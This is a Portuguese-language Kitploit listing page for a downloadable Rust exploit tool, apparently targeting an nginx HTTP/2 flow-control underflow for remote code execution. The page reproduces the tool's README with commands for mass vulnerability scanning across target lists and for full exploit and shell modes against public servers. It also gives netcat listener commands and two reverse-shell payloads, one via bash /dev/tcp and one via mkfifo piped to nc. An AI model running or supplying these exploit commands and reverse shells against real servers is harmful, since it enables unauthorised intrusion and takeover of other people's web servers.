Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
NGINX2Root-CVE-2026-123007 — Nota de Pesquisa: Transformando Inteligência Pública em um Exploit de Root (Estudo de Caso: CVE-2026-123007) | Kitploit
Ferramentas/GitHubGitHub/arkrwn/nginx2root-cve-2026-123007
Scanners de Vulnerabilidades WebAnálise de VulnerabilidadesExploraçãoEngenharia ReversaExploração de Aplicações WebSegurança de RedeFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubarkrwn/nginx2root-cve-2026-123007

NGINX2Root-CVE-2026-123007

Nota de Pesquisa: Transformando Inteligência Pública em um Exploit de Root (Estudo de Caso: CVE-2026-123007)

Ver Repositório
32há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    968
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    556
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    347
  • 4

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    346
  • 5

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    319
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    297

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC-NGINX2ROOT

Um cliente de exploit para CVE-2026-123007 (um underflow de inteiro no controle de fluxo HTTP/2 no nginx que pode levar a RCE com os privilégios do worker). Um único binário Rust. Não é necessária instalação, compilação ou implantação do nginx: a ferramenta apenas se comunica com um alvo que já existe (um servidor nginx público, ou uma instância localhost que você mesmo configurou).

Só quer provar a CVE? Leia PROOF.md. Um comando, ~14 MiB, sem listener/profile/119 GiB: poc --host https://TARGET/ --safe (--proof é um alias). --exploit / --shell abaixo são para a cadeia completa de RCE.

Início rápido

# 1. build (once)
cargo build --release

# 2. check whether a target is vulnerable — safe, no crash, ~14 MiB
./target/release/poc --host https://target.example --safe

# 3. many targets at once (one URL per line)
./target/release/poc --targets targets.txt --safe

# or several URLs directly
./target/release/poc --hosts https://a.example --hosts https://b.example

Sem a flag de modo, o padrão é --safe (econômico e seguro).

Saída bem-sucedida:

[+] CVE-2026-123007 PROOF: VULNERABLE
    target: https://target.example/   resource: /index.html
    observed: server=Some("nginx/1.31.8") settings=[...] body=896 bytes
    [1] queued-DATA refund      : PASS (2 streams reset with FLOW_CONTROL_ERROR=3)
    [2] public-byte release    : PASS (10 bytes returned)
    [3] underflowed WU guard   : PASS (post-refund PING ACK)
    [4] connection still usable: PASS
    no memory corruption, no crash, no shell

VULNERABLE significa que o bug de contabilização foi comprovado nesse alvo. NOT PROVEN significa que o alvo não o apresentou (corrigido, não é HTTP/2, corpo demasiado pequeno, ou é necessário um recurso diferente). Códigos de saída: 0 vulnerável, 4 não comprovado.

O caminho pode ser indicado em --host ou explicitamente com --path:

./target/release/poc --host https://target.example/landing --safe   # resource /landing
./target/release/poc --host https://target.example --safe --path /large-file.bin

--safe exige HTTPS + HTTP/2 (ALPN h2) e um recurso de 521–8192 bytes que suporte Range. A mensagem de erro informa o tamanho de onda calculado quando o corpo está fora desse intervalo.

Tráfego

ModoO que comprovaTráfegoTempo
--safebug de contabilidade + guarda com underflow, sem corrupção~14 MiBsegundos
--exploitcadeia completa, payload despachado~119 GiBminutos
--shellcadeia completa + id/whoami/date/uname -a~119 GiBminutos

Para responder "o alvo é vulnerável?", --safe é suficiente. Centenas de GB são usados apenas ao executar RCE de fato.

--targets (lista de alvos)

Uma origem por linha; linhas vazias e # comentários são ignorados:

# example targets.txt
https://target-a.example
https://target-b.example:8443

Linhas http://... são marcadas como SKIP porque --safe exige TLS + ALPN h2 (alvos apenas HTTP/1.1 também são SKIP/NOT PROVEN). --targets serve apenas para --safe; para exploração, execute um alvo por vez com --host.

Uma linha de resultado é impressa por alvo, seguida de um resumo N tested, M vulnerable.

--exploit e --shell

Estes exigem um alvo que corresponda a um perfil embutido (nginx 1.31.8 Debian 13 amd64, glibc 2.41, CPU alvo com avx512f + avx512vl, 4 workers, /index.html de 896 bytes). Um perfil 1.31.6 também está incluído. Sem uma correspondência, --safe ainda pode responder à questão de vulnerabilidade, mas a cadeia de RCE não será executada.

Escolha um fluxo de trabalho, não ambos (caso contrário, a porta entra em conflito):

Fluxo A — --shell (mais simples; a ferramenta escuta):

./target/release/poc --host https://target --shell --lhost ATTACKER_IP --yes
# do not run nc/socat: the tool already listens on 0.0.0.0:4444

Fluxo de trabalho B — --exploit + um listener manual:

# macOS / BSD:
nc -lv 4444
# Linux (nc/OpenBSD):
nc -lvnp 4444
# cross-platform alternative: socat TCP-LISTEN:4444,fork -

# dispatch the payload (prints the listener command and payload before the bulk)
./target/release/poc --host https://target.example --exploit \
  --lhost 203.0.113.10 --lport 4444 --yes

--exploit não escuta por conta própria; a saída 0 significa apenas que o payload foi enviado (DISPATCHED (unconfirmed)). Seu listener é a evidência.

Como alternativa, deixe a ferramenta escutar e verificar o shell:

./target/release/poc --host https://target.example --shell \
  --lhost 203.0.113.10 --lport 4444 --yes
# optional: --interactive to relay stdin/stdout after verification

--shell envia id; whoami; date; uname -a; echo __OK__ e só reporta SHELL OK quando a saída contém uid=. Códigos de saída: 0 shell verificado, 1 erro de estágio, 2 vulnerável mas a cadeia não terminou, 3 despachado sem shell, 4 não comprovado.

Payload padrão: bash -i >& /dev/tcp/LHOST/LPORT 0>&1 (limite de 120 bytes). Sem bash, use --cmd, por exemplo rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f.

Build

Linux: libssl-dev + pkg-config são necessários. macOS (Homebrew):

brew install openssl@3 pkg-config
export PKG_CONFIG_PATH="$(brew --prefix openssl@3)/lib/pkgconfig"
cargo build --release

Sem PKG_CONFIG_PATH, o crate openssl usa o LibreSSL e falha. O binário é target/release/poc.

Solução de problemas

  • target does not negotiate HTTP/2 (ALPN h2) over TLS — o HTTP/2 está desativado nesse listener (ou o alvo é apenas HTTP/1.1).
  • safe mode needs a response body of 521..8192 bytes — aponte --path para um arquivo estático maior.
  • cleanup-overcredit oracle failed — o alvo está corrigido, ou um proxy/CDN não está repassando os frames HTTP/2 sem alteração.
  • in-band HTTP/2 fingerprint matches no validated profile — uma build/versão diferente; --safe continua válido, --exploit precisa de um perfil calibrado.
  • DISPATCHED, NO SHELL — o payload foi executado mas não conseguiu alcançar --lhost (firewall/NAT), ou o bash está ausente. Use --cmd com um oráculo observável.
  • POC_KEYUPDATES — um ajuste de depuração que encurta o voo de bootstrap; ele não faz parte de uma execução real.

Desenvolvendo / validando a própria ferramenta

Esta seção não é necessária para testar um alvo. scripts/validate-safe.sh compila nginx 1.31.8 e 1.31.10 a partir de uma árvore de código-fonte local e verifica VULNERABLE / NOT PROVEN — ele testa a ferramenta, não prepara um alvo de exploit. Resultados no host de desenvolvimento:

  • nginx 1.31.8 → VULNERABLE (exit 0)
  • nginx 1.31.10 (corrigido) → NOT PROVEN (exit 4)

A cadeia completa precisa de um alvo x86-64 + AVX512; os limites são descritos na seção técnica abaixo. Notas de design e planos de implementação são mantidos na árvore de trabalho local e não são enviados.

Registro de pesquisa: escrevendo o exploit a partir de um CVE e fontes públicas

Esta seção é uma nota de metodologia: como ir de "um CVE crítico foi anunciado esta manhã" para um verificador e exploit funcionais, usando apenas material público e o próprio software vulnerável. Nenhum detalhe privado de bug e nenhum código de exploit pronto são pressupostos.

1. Triagem do aviso: qual é a primitiva?

Comece pelos registros autoritativos, não por posts de blog:

  • CVE-2026-123007 — CWE-191 (integer underflow), CVSS 4.0 9.2, atacante de rede não autenticado.
  • F5 advisory K000163926 — versões afetadas (nginx OSS 1.9.5–1.30.6 e 1.31.0–1.31.8), corrigidas 1.30.7 / 1.31.9, e a condição de configuração (HTTP/2 habilitado).
Baixar ferramenta